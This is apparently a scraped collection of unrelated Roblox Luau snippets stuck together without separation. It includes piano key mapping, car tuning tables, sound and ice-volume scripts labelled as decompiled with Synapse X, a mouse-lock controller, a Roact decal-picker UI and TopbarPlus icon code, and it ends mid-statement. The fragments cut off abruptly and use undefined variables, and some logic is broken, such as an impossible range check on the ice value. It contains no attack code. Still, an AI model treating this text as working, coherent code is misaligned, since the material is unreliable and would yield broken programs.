function UnDigify(digit) if digit < 1 or digit > 61 then return "" elseif digit == 1 then return "1" elseif digit == 2 then return "!" elseif digit == 3 then return "2" elseif digit == 4 then return "@" elseif digit == 5 then return "3" elseif digit == 6 then return "4" elseif digit == 7 then return "$" elseif digit == 8 then return "5" elseif digit == 9 then return "%" elseif digit == 10 then return "6" elseif digit == 11 then return "^" elseif digit == 12 then return "7" elseif digit == 13 then return "8" elseif digit == 14 then return "*" elseif digit == 15 then return "9" elseif digit == 16 then return "(" elseif digit == 17 then return "0" elseif digit == 18 then return "q" elseif digit == 19 then return "Q" elseif digit == 20 then return "w" elseif digit == 21 then return "W" elseif digit == 22 then return "e" elseif digit == 23 then return "E" elseif digit == 24 then return "r" elseif digit == 25 then return "t" elseif digit == 26 then return "T" elseif digit == 27 then return "y" elseif digit == 28 then return "Y" elseif digit == 29 then return "u" elseif digit == 30 then return "i" elseif digit == 31 then return "I" elseif digit == 32 then return "o" elseif digit == 33 then return "O" elseif digit == 34 then return "p" elseif digit == 35 then return "P" elseif digit == 36 then return "a" elseif digit == 37 then return "s" elseif digit == 38 then return "S" elseif digit == 39 then return "d" elseif digit == 40 then return "D" elseif digit == 41 then return "f" elseif digit == 42 then return "g" elseif digit == 43 then return "G" elseif digit == 44 then return "h" elseif digit == 45 then return "H" elseif digit == 46 then return "j" elseif digit == 47 then return "J" elseif digit == 48 then return "k" elseif digit == 49 then return "l" elseif digit == 50 then return "L" elseif digit == 51 then return "z" elseif digit == 52 then return "Z" elseif digit == 53 then return "x" elseif digit == 54 then return "c" elseif digit == 55 then return "C" elseif digit == 56 then return "v" elseif digit == 57 then return "V" elseif digit == 58 then return "b" elseif digit == 59 then return "B" elseif digit == 60 then return "n" elseif digit == 61 then return "m" else return "?" end end function IsBlack(note) if note%12 == 2 or note%12 == 4 or note%12 == 7 or note%12 == 9 or note%12 == 11 then return true end end local TweenService = game:GetService("TweenService") function Tween(obj,Goal,Time,Wait,...) local TwInfo = TweenInfo.new(Time,...) local twn = TweenService:Create(obj, TwInfo, Goal) twn:Play() if Wait then twn.Completed:wait() end return end local orgins = {} if script.Parent.Keys:FindFirstChild("Keys") then for i,v in pairs(script.Parent.Keys.Keys:GetChildren()) do orgins[v.Name] = {v.Position,v.Orientation} end else for i,v in pairs(script.Parent.Keys:GetChildren()) do if v:IsA("Model") then for a,b in pairs(v:GetChildren()) do orgins[v.Name] = {b.Position,b.Orientation} end end end end function AnimateKey(note1,px,py,pz,ox,oy,oz,Time) pcall(function() local obj = script.Parent.Keys.Keys:FindFirstChild(note1) if obj then local Properties = {} local OrginP = orgins[obj.Name][1] local OrginO = orgins[obj.Name][2] local changep = OrginP - Vector3.new(px,py,pz) local changeo = OrginO - Vector3.new(ox,oy,oz) Properties.Position = Vector3.new(obj.Position.x, changep.Y, changep.Z) Properties.Orientation = changeo Tween(obj,Properties,Time,Enum.EasingStyle.Linear) Properties = {} Properties.Position = Vector3.new(obj.Position.x,OrginP.y,OrginP.z) Properties.Orientation = OrginO Tween(obj,Properties,Time,Enum.EasingStyle.Linear) else print(note1..' was not found, or you do not have the correct configuration for the piano keys') end end) end
--Variables--
local Enabled = true local mouse = Player:GetMouse() local ButtonDown = false local Key = nil local cooldown = 5 local Debounce = 1
--[[Drivetrain]]
Tune.Config = "RWD" --"FWD" , "RWD" , "AWD" --Differential Settings Tune.FDiffSlipThres = 50 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed) Tune.FDiffLockThres = 50 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel) Tune.RDiffSlipThres = 50 -- 1 - 100% Tune.RDiffLockThres = 50 -- 0 - 100% Tune.CDiffSlipThres = 50 -- 1 - 100% [AWD Only] Tune.CDiffLockThres = 50 -- 0 - 100% [AWD Only] --Traction Control Settings Tune.TCSEnabled = true -- Implements TCS Tune.TCSThreshold = 20 -- Slip speed allowed before TCS starts working (in SPS) Tune.TCSGradient = 20 -- Slip speed gradient between 0 to max reduction (in SPS) Tune.TCSLimit = 10 -- Minimum amount of torque at max reduction (in percent)
-- initiate
for _, drop in pairs(DROPS:GetChildren()) do HandleDrop(drop) end local t = 0 RunService.Stepped:connect(function(_, deltaTime) t = t + deltaTime for drop, dropInfo in pairs(drops) do local offset = drop.Position - CAMERA.CFrame.p if math.abs(offset.X) < UPDATE_RANGE and math.abs(offset.Y) < UPDATE_RANGE and math.abs(offset.Z) < UPDATE_RANGE then local localT = t + (drop.Position.X + drop.Position.Z) * 0.2 local cframe = CFrame.new(drop.Position) * CFrame.new(0, math.sin(localT) * 0.2, 0) * CFrame.Angles(0, localT / 4, 0) for _, info in pairs(dropInfo.Parts) do info.Part.CFrame = cframe * info.Offset local offset = info.Part.Position - CAMERA.CFrame.p info.Outline.CFrame = info.Part.CFrame + offset.Unit * OUTLINE_WIDTH * 2 end end end end)
--[[ Returns the platform / user input of the client. ]]
local function getClientPlatform() -- TODO: Get input, and return Keyboard, Controller, or Touch return "Keyboard" end
-- Util -- Stephen Leitnick -- April 29, 2022
type AnyTable = { [any]: any } local Util = {} Util.None = newproxy()
--[[Steering]]
Tune.SteerInner = 58 -- Inner wheel steering angle (in degrees) Tune.SteerOuter = 58 -- Outer wheel steering angle (in degrees) Tune.SteerSpeed = .5 -- Steering increment per tick (in degrees) Tune.ReturnSpeed = .5 -- Steering increment per tick (in degrees) Tune.SteerDecay = 325 -- Speed of gradient cutoff (in SPS) Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent) Tune.MSteerExp = 1 -- Mouse steering exponential degree --Steer Gyro Tuning Tune.SteerD = 1000 -- Steering Dampening Tune.SteerMaxTorque = 5000 -- Steering Force Tune.SteerP = 3500 -- Steering Aggressiveness
-- Decompiled with the Synapse X Luau decompiler.
local v1 = { Died = 0, Running = 1, Swimming = 2, Climbing = 3, Jumping = 4, GettingUp = 5, FreeFalling = 6, FallingDown = 7, Landing = 8, Splash = 9 }; local v2 = nil; local v3 = {}; local l__ReplicatedStorage__4 = game:GetService("ReplicatedStorage"); local v5 = l__ReplicatedStorage__4:FindFirstChild("DefaultSoundEvents"); local v6 = UserSettings():IsUserFeatureEnabled("UserUseSoundDispatcher"); if v6 then if not v5 then v5 = Instance.new("Folder", l__ReplicatedStorage__4); v5.Name = "DefaultSoundEvents"; v5.Archivable = false; end; local v7 = v5:FindFirstChild("RemoveCharacterEvent"); if v7 == nil then v7 = Instance.new("RemoteEvent", v5); v7.Name = "RemoveCharacterEvent"; end; local v8 = v5:FindFirstChild("AddCharacterLoadedEvent"); if v8 == nil then v8 = Instance.new("RemoteEvent", v5); v8.Name = "AddCharacterLoadedEvent"; end; v8:FireServer(); game.Players.LocalPlayer.CharacterRemoving:connect(function(p1) v7:FireServer(game.Players.LocalPlayer); end); end; local l__Parent__9 = script.Parent.Parent; local l__Head__10 = l__Parent__9:WaitForChild("Head"); while not v2 do for v11, v12 in pairs(l__Parent__9:GetChildren()) do if v12:IsA("Humanoid") then v2 = v12; break; end; end; if v2 then break; end; l__Parent__9.ChildAdded:wait(); end; v3[v1.Died] = l__Head__10:WaitForChild("Died"); v3[v1.Running] = l__Head__10:WaitForChild("Running"); v3[v1.Swimming] = l__Head__10:WaitForChild("Swimming"); v3[v1.Climbing] = l__Head__10:WaitForChild("Climbing"); v3[v1.Jumping] = l__Head__10:WaitForChild("Jumping"); v3[v1.GettingUp] = l__Head__10:WaitForChild("GettingUp"); v3[v1.FreeFalling] = l__Head__10:WaitForChild("FreeFalling"); v3[v1.Landing] = l__Head__10:WaitForChild("Landing"); v3[v1.Splash] = l__Head__10:WaitForChild("Splash"); if v6 then local v13 = v5:FindFirstChild("DefaultServerSoundEvent"); else v13 = game:GetService("ReplicatedStorage"):FindFirstChild("DefaultServerSoundEvent"); end; if v13 then v13.OnClientEvent:connect(function(p2, p3, p4) if p4 and p2.TimePosition ~= 0 then p2.TimePosition = 0; end; if p2.IsPlaying ~= p3 then p2.Playing = p3; end; end); end; local l__SoundService__1 = game:GetService("SoundService"); local v14 = { YForLineGivenXAndTwoPts = function(p5, p6, p7, p8, p9) local v15 = (p7 - p9) / (p6 - p8); return v15 * p5 + (p7 - v15 * p6); end, Clamp = function(p10, p11, p12) return math.min(p12, math.max(p11, p10)); end, HorizontalSpeed = function(p13) return (p13.Velocity + Vector3.new(0, -p13.Velocity.Y, 0)).magnitude; end, VerticalSpeed = function(p14) return math.abs(p14.Velocity.Y); end }; local function u2() return game.Workspace.FilteringEnabled and l__SoundService__1.RespectFilteringEnabled; end; function v14.Play(p15) if u2() then p15.CharacterSoundEvent:FireServer(true, true); end; if p15.TimePosition ~= 0 then p15.TimePosition = 0; end; if not p15.IsPlaying then p15.Playing = true; end; end; function v14.Pause(p16) if u2() then p16.CharacterSoundEvent:FireServer(false, false); end; if p16.IsPlaying then p16.Playing = false; end; end; function v14.Resume(p17) if u2() then p17.CharacterSoundEvent:FireServer(true, false); end; if not p17.IsPlaying then p17.Playing = true; end; end; function v14.Stop(p18) if u2() then p18.CharacterSoundEvent:FireServer(false, true); end; if p18.IsPlaying then p18.Playing = false; end; if p18.TimePosition ~= 0 then p18.TimePosition = 0; end; end; local u3 = {}; function setSoundInPlayingLoopedSounds(p19) local v16 = #u3; local v17 = 1 - 1; while true do if u3[v17] == p19 then return; end; if 0 <= 1 then if v17 < v16 then else break; end; elseif v16 < v17 then else break; end; v17 = v17 + 1; end; table.insert(u3, p19); end; function stopPlayingLoopedSoundsExcept(p20) local v18 = #u3 - -1; while true do if u3[v18] ~= p20 then v14.Pause(u3[v18]); table.remove(u3, v18); end; if 0 <= -1 then if v18 < 1 then else break; end; elseif 1 < v18 then else break; end; v18 = v18 + -1; end; end; local v19 = {}; v19[Enum.HumanoidStateType.Dead] = function() stopPlayingLoopedSoundsExcept(); v14.Play(v3[v1.Died]); end; v19[Enum.HumanoidStateType.RunningNoPhysics] = function(p21) stateUpdated(Enum.HumanoidStateType.Running, p21); end; local u4 = UserSettings():IsUserFeatureEnabled("UserFixCharacterSoundIssues"); local u5 = nil; local u6 = 0; v19[Enum.HumanoidStateType.Running] = function(p22) local v20 = v3[v1.Running]; stopPlayingLoopedSoundsExcept(v20); if u4 and u5 == Enum.HumanoidStateType.Freefall and u6 > 0.1 then local v21 = v3[v1.FreeFalling]; v21.Volume = math.min(1, math.max(0, (u6 - 50) / 110)); v14.Play(v21); u6 = 0; end; if u4 then if p22 ~= nil and p22 > 0.5 then v14.Resume(v20); setSoundInPlayingLoopedSounds(v20); return; elseif p22 ~= nil then stopPlayingLoopedSoundsExcept(); return; else return; end; elseif not (v14.HorizontalSpeed(l__Head__10) > 0.5) then stopPlayingLoopedSoundsExcept(); return; end; v14.Resume(v20); setSoundInPlayingLoopedSounds(v20); end; v19[Enum.HumanoidStateType.Swimming] = function(p23) if u4 then local v22 = p23; else v22 = v14.VerticalSpeed(l__Head__10); end; if u5 ~= Enum.HumanoidStateType.Swimming and v22 > 0.1 then local v23 = v3[v1.Splash]; v23.Volume = v14.Clamp(v14.YForLineGivenXAndTwoPts(v14.VerticalSpeed(l__Head__10), 100, 0.28, 350, 1), 0, 1); v14.Play(v23); end; local v24 = v3[v1.Swimming]; stopPlayingLoopedSoundsExcept(v24); v14.Resume(v24); setSoundInPlayingLoopedSounds(v24); end; v19[Enum.HumanoidStateType.Climbing] = function(p24) local v25 = v3[v1.Climbing]; if u4 then if p24 ~= nil and math.abs(p24) > 0.1 then v14.Resume(v25); stopPlayingLoopedSoundsExcept(v25); else v14.Pause(v25); stopPlayingLoopedSoundsExcept(v25); end; elseif v14.VerticalSpeed(l__Head__10) > 0.1 then v14.Resume(v25); stopPlayingLoopedSoundsExcept(v25); else stopPlayingLoopedSoundsExcept(); end; setSoundInPlayingLoopedSounds(v25); end; v19[Enum.HumanoidStateType.Jumping] = function() if u5 == Enum.HumanoidStateType.Jumping then return; end; stopPlayingLoopedSoundsExcept(); v14.Play(v3[v1.Jumping]); end; v19[Enum.HumanoidStateType.GettingUp] = function() stopPlayingLoopedSoundsExcept(); v14.Play(v3[v1.GettingUp]); end; v19[Enum.HumanoidStateType.Freefall] = function() if u5 == Enum.HumanoidStateType.Freefall then return; end; v3[v1.FreeFalling].Volume = 0; stopPlayingLoopedSoundsExcept(); u6 = math.max(u6, math.abs(l__Head__10.Velocity.y)); end; v19[Enum.HumanoidStateType.FallingDown] = function() stopPlayingLoopedSoundsExcept(); end; v19[Enum.HumanoidStateType.Landed] = function() stopPlayingLoopedSoundsExcept(); if v14.VerticalSpeed(l__Head__10) > 75 then local v26 = v3[v1.Landing]; v26.Volume = v14.Clamp(v14.YForLineGivenXAndTwoPts(v14.VerticalSpeed(l__Head__10), 50, 0, 100, 1), 0, 1); v14.Play(v26); end; end; v19[Enum.HumanoidStateType.Seated] = function() stopPlayingLoopedSoundsExcept(); end; function stateUpdated(p25, p26) if v19[p25] ~= nil then if u4 then if p25 ~= Enum.HumanoidStateType.Running then if p25 ~= Enum.HumanoidStateType.Climbing then if p25 ~= Enum.HumanoidStateType.Swimming then if p25 == Enum.HumanoidStateType.RunningNoPhysics then v19[p25](p26); else v19[p25](); end; else v19[p25](p26); end; else v19[p25](p26); end; else v19[p25](p26); end; else v19[p25](); end; end; u5 = p25; end; v2.Died:connect(function() stateUpdated(Enum.HumanoidStateType.Dead); end); v2.Running:connect(function(p27) stateUpdated(Enum.HumanoidStateType.Running, p27); end); v2.Swimming:connect(function(p28) stateUpdated(Enum.HumanoidStateType.Swimming, p28); end); v2.Climbing:connect(function(p29) stateUpdated(Enum.HumanoidStateType.Climbing, p29); end); v2.Jumping:connect(function() stateUpdated(Enum.HumanoidStateType.Jumping); end); v2.GettingUp:connect(function() stateUpdated(Enum.HumanoidStateType.GettingUp); end); v2.FreeFalling:connect(function() stateUpdated(Enum.HumanoidStateType.Freefall); end); v2.FallingDown:connect(function() stateUpdated(Enum.HumanoidStateType.FallingDown); end); v2.StateChanged:connect(function(p30, p31) stateUpdated(p31); end); function onUpdate(p32, p33) local v27 = v3[v1.FreeFalling]; if u5 == Enum.HumanoidStateType.Freefall then if l__Head__10.Velocity.Y < 0 then if 75 < v14.VerticalSpeed(l__Head__10) then v14.Resume(v27); v27.Volume = v14.Clamp(v27.Volume + p33 / 1.1 * (p32 / p33), 0, 1); else v27.Volume = 0; end; else v27.Volume = 0; end; else v14.Pause(v27); end; if u5 == Enum.HumanoidStateType.Running then if v14.HorizontalSpeed(l__Head__10) < 0.5 then v14.Pause(v3[v1.Running]); end; end; end; local v28 = tick(); while true do onUpdate(tick() - v28, 0.25); v28 = tick(); wait(0.25); end;
-- Decompiled with the Synapse X Luau decompiler.
local l__Ice__1 = game.Players.LocalPlayer:WaitForChild("Data"):WaitForChild("Ice"); local l__Parent__1 = script.Parent; l__Ice__1.Changed:Connect(function() if l__Ice__1.Value <= 0.9 and l__Ice__1.Value >= 1 then l__Parent__1.Crackle.Volume = 0.1; return; end; if l__Ice__1.Value <= 0.1 and l__Ice__1.Value >= 0 then l__Parent__1.Crackle.Volume = 0.9; return; end; if l__Ice__1.Value <= 0.2 and l__Ice__1.Value >= 0.1 then l__Parent__1.Crackle.Volume = 0.8; return; end; if l__Ice__1.Value <= 0.3 and l__Ice__1.Value >= 0.2 then l__Parent__1.Crackle.Volume = 0.7; return; end; if l__Ice__1.Value <= 0.4 and l__Ice__1.Value >= 0.3 then l__Parent__1.Crackle.Volume = 0.6; return; end; if l__Ice__1.Value <= 0.5 and l__Ice__1.Value >= 0.4 then l__Parent__1.Crackle.Volume = 0.5; return; end; if l__Ice__1.Value <= 0.6 and l__Ice__1.Value >= 0.5 then l__Parent__1.Crackle.Volume = 0.4; return; end; if l__Ice__1.Value <= 0.7 and l__Ice__1.Value >= 0.6 then l__Parent__1.Crackle.Volume = 0.3; return; end; if l__Ice__1.Value <= 0.8 and l__Ice__1.Value >= 0.7 then l__Parent__1.Crackle.Volume = 0.2; return; end; if l__Ice__1.Value <= 0.9 then l__Parent__1.Crackle.Volume = 0.1; return; end; if l__Ice__1.Value >= 1 then l__Parent__1.Crackle.Volume = 0; end; end);
--[[Transmission]]
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 4.06 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 2.04 , --[[ 3 ]] 1.38 , --[[ 4 ]] 1.03 , --[[ 5 ]] 0.81 , --[[ 6 ]] 0.64 , } Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--BOV--
script.Parent.Parent.Values.RPM.Changed:connect(function() local t = 0 t = (totalPSI*20) BOVact = math.floor(t) end) script.Parent.Parent.Values.RPM.Changed:connect(function() wait(0.1) local t2 = 0 t2 = (totalPSI*20) BOVact2 = math.floor(t2) end) script.Parent.Parent.Values.RPM.Changed:connect(function() if BOVact > BOVact2 then if BOV.IsPlaying == false then BOV:Play() end end if BOVact < BOVact2 then if BOV.IsPlaying == true then BOV:Stop() end end end)
--Formula secreta del crustacio kaskarudo
local RebirthFormule = game:GetService("ReplicatedStorage").GameProperties.RebirthFormule local Formula = RebirthFormule.Value + (RebirthFormule.Value * Multiplier.Value) local MultiplierFormule = game:GetService("ReplicatedStorage").GameProperties.MultiplierFormule
--[[Wheel Stabilizer Gyro]]
Tune.FGyroDamp = 100 -- Front Wheel Non-Axial Dampening Tune.RGyroDamp = 100 -- Rear Wheel Non-Axial Dampening
--[[ The Module ]]
-- local MouseLockController = {} MouseLockController.__index = MouseLockController function MouseLockController.new() local self = setmetatable({}, MouseLockController) self.isMouseLocked = false self.savedMouseCursor = nil self.boundKeys = {Enum.KeyCode.Z} -- defaults self.mouseLockToggledEvent = Instance.new("BindableEvent") local boundKeysObj: StringValue = script:FindFirstChild("BoundKeys") :: StringValue if (not boundKeysObj) or (not boundKeysObj:IsA("StringValue")) then -- If object with correct name was found, but it's not a StringValue, destroy and replace if boundKeysObj then boundKeysObj:Destroy() end boundKeysObj = Instance.new("StringValue") boundKeysObj.Name = "BoundKeys" boundKeysObj.Value = "Z" boundKeysObj.Parent = script end if boundKeysObj then boundKeysObj.Changed:Connect(function(value) self:OnBoundKeysObjectChanged(value) end) self:OnBoundKeysObjectChanged(boundKeysObj.Value) -- Initial setup call end -- Watch for changes to user's ControlMode and ComputerMovementMode settings and update the feature availability accordingly GameSettings.Changed:Connect(function(property) if property == "ControlMode" or property == "ComputerMovementMode" then self:UpdateMouseLockAvailability() end end) -- Watch for changes to DevEnableMouseLock and update the feature availability accordingly PlayersService.LocalPlayer:GetPropertyChangedSignal("DevEnableMouseLock"):Connect(function() self:UpdateMouseLockAvailability() end) -- Watch for changes to DevEnableMouseLock and update the feature availability accordingly PlayersService.LocalPlayer:GetPropertyChangedSignal("DevComputerMovementMode"):Connect(function() self:UpdateMouseLockAvailability() end) self:UpdateMouseLockAvailability() return self end function MouseLockController:GetIsMouseLocked() return self.isMouseLocked end function MouseLockController:GetBindableToggleEvent() return self.mouseLockToggledEvent.Event end function MouseLockController:GetMouseLockOffset() local offsetValueObj: Vector3Value = script:FindFirstChild("CameraOffset") :: Vector3Value if offsetValueObj and offsetValueObj:IsA("Vector3Value") then return offsetValueObj.Value else -- If CameraOffset object was found but not correct type, destroy if offsetValueObj then offsetValueObj:Destroy() end offsetValueObj = Instance.new("Vector3Value") offsetValueObj.Name = "CameraOffset" offsetValueObj.Value = Vector3.new(1.75,0,0) -- Legacy Default Value offsetValueObj.Parent = script end if offsetValueObj and offsetValueObj.Value then return offsetValueObj.Value end return Vector3.new(1.75,0,0) end function MouseLockController:UpdateMouseLockAvailability() local devAllowsMouseLock = PlayersService.LocalPlayer.DevEnableMouseLock local devMovementModeIsScriptable = PlayersService.LocalPlayer.DevComputerMovementMode == Enum.DevComputerMovementMode.Scriptable local userHasMouseLockModeEnabled = GameSettings.ControlMode == Enum.ControlMode.MouseLockSwitch local userHasClickToMoveEnabled = GameSettings.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove local MouseLockAvailable = devAllowsMouseLock and userHasMouseLockModeEnabled and not userHasClickToMoveEnabled and not devMovementModeIsScriptable if MouseLockAvailable~=self.enabled then self:EnableMouseLock(MouseLockAvailable) end end function MouseLockController:OnBoundKeysObjectChanged(newValue: string) self.boundKeys = {} -- Overriding defaults, note: possibly with nothing at all if boundKeysObj.Value is "" or contains invalid values for token in string.gmatch(newValue,"[^%s,]+") do for _, keyEnum in pairs(Enum.KeyCode:GetEnumItems()) do if token == keyEnum.Name then self.boundKeys[#self.boundKeys+1] = keyEnum :: Enum.KeyCode break end end end self:UnbindContextActions() self:BindContextActions() end
--[[ UI to select the surface art to place onto the canvas. ]]
local SurfaceArtSelector = Roact.Component:extend("SurfaceArtSelector") SurfaceArtSelector.defaultProps = { numItemsPerPage = 3, } function SurfaceArtSelector:init() self.isAnimating = false self.position, self.updatePosition = Roact.createBinding(0) self.target, self.updateTarget = Roact.createBinding(0) self.motor = Otter.createSingleMotor(self.position:getValue()) self.motor:onStep(self.updatePosition) self.state = { -- Selected surface art index in self.props.images selectedIndex = 1, -- Offset to render overflow items in order to avoid empty items during pagination offset = 0, } self.useSinglePagination = function() return UserInputService.TouchEnabled or self.props.orientation.isPortrait end self.onApply = modules.onApply(self) self.onCancel = modules.onCancel(self) self.prevPage = function() local prevPage = modules.prevPage(self) prevPage(math.min(self.props.numItemsPerPage, #self.props.images)) end self.prevItem = function() local prevPage = modules.prevPage(self) prevPage(1) end self.nextPage = function() local nextPage = modules.nextPage(self) nextPage(math.min(self.props.numItemsPerPage, #self.props.images)) end self.nextItem = function() local nextPage = modules.nextPage(self) nextPage(1) end self.setCurrentIndex = modules.setCurrentIndex(self) self.getRenderedIndexes = modules.getRenderedIndexes(self) self.formatTargetIndex = modules.formatTargetIndex() self.getItemTransparency = modules.getItemTransparency(self) end function SurfaceArtSelector:render() local items = { UIListLayout = Roact.createElement("UIListLayout", { SortOrder = Enum.SortOrder.LayoutOrder, FillDirection = Enum.FillDirection.Horizontal, VerticalAlignment = Enum.VerticalAlignment.Center, HorizontalAlignment = Enum.HorizontalAlignment.Center, }), } local indexes = self.getRenderedIndexes() local mid = math.floor((#indexes + 1) / 2) for i, index in ipairs(indexes) do -- Avoid the same image being shown as selected when they are shown on the same page local isSelected = self.state.selectedIndex == index and i == mid -- Offset from the current selected index local offset = mid - i local item = Roact.createElement("Frame", { LayoutOrder = i, BackgroundTransparency = 1, AutomaticSize = Enum.AutomaticSize.XY, }, { Roact.createElement(SurfaceArtSelectorItem, { image = self.props.images[index], isSelected = isSelected, transparency = self.getItemTransparency(i, index, mid), onClick = function() self.setCurrentIndex(index, offset) end, }), }) items[self.formatTargetIndex(index, offset)] = item end local actionBarHeight = self.props.orientation.isPortrait and ACTION_BAR_HEIGHT_PORTRAIT or ACTION_BAR_HEIGHT_LANDSCAPE return Roact.createElement("Frame", { Size = UDim2.fromScale(1, 1), BackgroundTransparency = 1, }, { Background = Roact.createElement("Frame", { Size = UDim2.fromScale(1, 1), BackgroundColor3 = Color3.fromRGB(0, 0, 0), ZIndex = 1, }, { Gradient = Roact.createElement("UIGradient", { Transparency = NumberSequence.new({ NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.2, 0.5), NumberSequenceKeypoint.new(0.8, 0.5), NumberSequenceKeypoint.new(1, 0), }), Rotation = self.props.orientation.isPortrait and 90 or 0, }), }), Container = Roact.createElement("Frame", { Size = UDim2.fromScale(1, 1), BackgroundTransparency = 1, ZIndex = 2, }, { Scroller = Roact.createElement("Frame", { Size = UDim2.new(1, 0, 1, -(actionBarHeight + ACTION_BAR_TOP_SPACING)), BackgroundTransparency = 1, Position = UDim2.fromScale(0.5, 0.5), AnchorPoint = Vector2.new(0.5, 0.5), ZIndex = 1, }, { UIListLayout = Roact.createElement("UIListLayout", { FillDirection = Enum.FillDirection.Horizontal, SortOrder = Enum.SortOrder.LayoutOrder, }), LeftButton = not self.useSinglePagination() and Roact.createElement(NavButton, { order = 1, image = self.props.configuration.leftArrowPageImage, onClick = self.prevPage, keyCode = self.props.configuration.usePageHotkeys and self.props.configuration.prevPageKey or nil, }), LeftSingleButton = Roact.createElement(NavButton, { order = 2, image = self.props.configuration.leftArrowItemImage, keyCode = self.props.configuration.usePageHotkeys and self.props.configuration.prevItemKey or nil, onClick = self.prevItem, }), Page = Roact.createElement("Frame", { LayoutOrder = 3, Size = self.useSinglePagination() and UDim2.fromScale(0.8, 1) or UDim2.fromScale(0.6, 1), BackgroundTransparency = 1, ClipsDescendants = true, }, { Container = Roact.createElement("Frame", { BackgroundTransparency = 1, Size = UDim2.fromScale(1, 1), AnchorPoint = Vector2.new(0.5, 0.5), Position = self.position:map(function(position) -- Calculate position for animation using pixel offset instead of scale. -- -- This is because this Frame's size is not computed with all SurfaceArtSelectorItems rendered, but only -- those that are visible. return UDim2.new(0.5, position, 0.5, 0) end), }, items), }), RightSingleButton = Roact.createElement(NavButton, { order = 4, image = self.props.configuration.rightArrowItemImage, onClick = self.nextItem, keyCode = self.props.configuration.usePageHotkeys and self.props.configuration.nextItemKey or nil, }), RightButton = not self.useSinglePagination() and Roact.createElement(NavButton, { order = 5, image = self.props.configuration.rightArrowPageImage, onClick = self.nextPage, keyCode = self.props.configuration.usePageHotkeys and self.props.configuration.nextPageKey or nil, }), }), ActionBar = Roact.createElement("Frame", { Size = UDim2.new(1, 0, 0, actionBarHeight + ACTION_BAR_TOP_SPACING), BackgroundTransparency = 0.5, BackgroundColor3 = Color3.fromRGB(0, 0, 0), Position = UDim2.fromScale(0.5, 1), AnchorPoint = Vector2.new(0.5, 1), ZIndex = 3, }, { UIPadding = Roact.createElement("UIPadding", { PaddingTop = UDim.new(0, 16), PaddingBottom = UDim.new(0, 16), }), UIListLayout = Roact.createElement("UIListLayout", { SortOrder = Enum.SortOrder.LayoutOrder, }), TextLabel = Roact.createElement("TextLabel", { LayoutOrder = 1, Size = UDim2.fromScale(1, self.props.orientation.isPortrait and 0.5 or 0.4), BackgroundTransparency = 1, TextSize = 16, Font = Enum.Font.GothamSemibold, TextColor3 = Color3.fromRGB(255, 255, 255), TextYAlignment = Enum.TextYAlignment.Top, TextXAlignment = Enum.TextXAlignment.Center, TextWrapped = true, Text = string.format( "Choose a decal to place on the wall. You can add up to %d decals.", self.props.configuration.quotaPerPlayer ), }, { UIPadding = Roact.createElement("UIPadding", { PaddingLeft = UDim.new(0, 8), PaddingRight = UDim.new(0, 8), }), }), Roact.createElement("Frame", { LayoutOrder = 2, Size = UDim2.fromScale(1, self.props.orientation.isPortrait and 0.5 or 0.6), BackgroundTransparency = 1, }, { ButtonGroup = Roact.createElement("Frame", { Size = UDim2.fromScale(0.5, 1), BackgroundTransparency = 1, Position = UDim2.fromScale(0.5, 0.5), AnchorPoint = Vector2.new(0.5, 0.5), }, { UIListLayout = Roact.createElement("UIListLayout", { FillDirection = Enum.FillDirection.Horizontal, SortOrder = Enum.SortOrder.LayoutOrder, Padding = UDim.new(0, 12), }), Cancel = Roact.createElement(Button, { LayoutOrder = 1, Text = "Cancel", TextColor3 = Color3.fromRGB(255, 255, 255), keyCode = Enum.KeyCode.B, onActivated = self.onCancel, }), Apply = Roact.createElement(Button, { LayoutOrder = 2, Text = "Apply", BackgroundColor3 = Color3.fromRGB(255, 255, 255), TextColor3 = Color3.fromRGB(0, 0, 0), keyCode = Enum.KeyCode.Return, onActivated = self.onApply, }), }), }), }), }), }) end return ConfigurationContext.withConfiguration(OrientationContext.withOrientation(SurfaceArtSelector))
--[[** ensures Roblox Instance type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.Instance = primitive("Instance")
-- METHODS
function IconController.setGameTheme(theme) IconController.gameTheme = theme local icons = IconController.getIcons() for _, icon in pairs(icons) do icon:setTheme(theme) end end function IconController.setDisplayOrder(value) value = tonumber(value) or TopbarPlusGui.DisplayOrder TopbarPlusGui.DisplayOrder = value end IconController.setDisplayOrder(10) function IconController.getIcons() local allIcons = {} for otherIcon, _ in pairs(topbarIcons) do table.insert(allIcons, otherIcon) end return allIcons end function IconController.getIcon(name) for otherIcon, _ in pairs(topbarIcons) do if otherIcon.name == name then return otherIcon end end return false end function IconController.disableHealthbar(bool) local finalBool = (bool == nil or bool) IconController.healthbarDisabled = finalBool IconController.healthbarDisabledSignal:Fire(finalBool) end function IconController.canShowIconOnTopbar(icon) if (icon.enabled == true or icon.accountForWhenDisabled) and icon.presentOnTopbar then return true end return false end function IconController.getMenuOffset(icon) local alignment = icon:get("alignment") local alignmentGap = IconController[alignment.."Gap"] local iconSize = icon:get("iconSize") or UDim2.new(0, 32, 0, 32) local sizeX = iconSize.X.Offset local iconWidthAndGap = (sizeX + alignmentGap) local extendLeft = 0 local extendRight = 0 local additionalRight = 0 if icon.menuOpen then local menuSize = icon:get("menuSize") local menuSizeXOffset = menuSize.X.Offset local direction = icon:_getMenuDirection() if direction == "right" then extendRight += menuSizeXOffset + 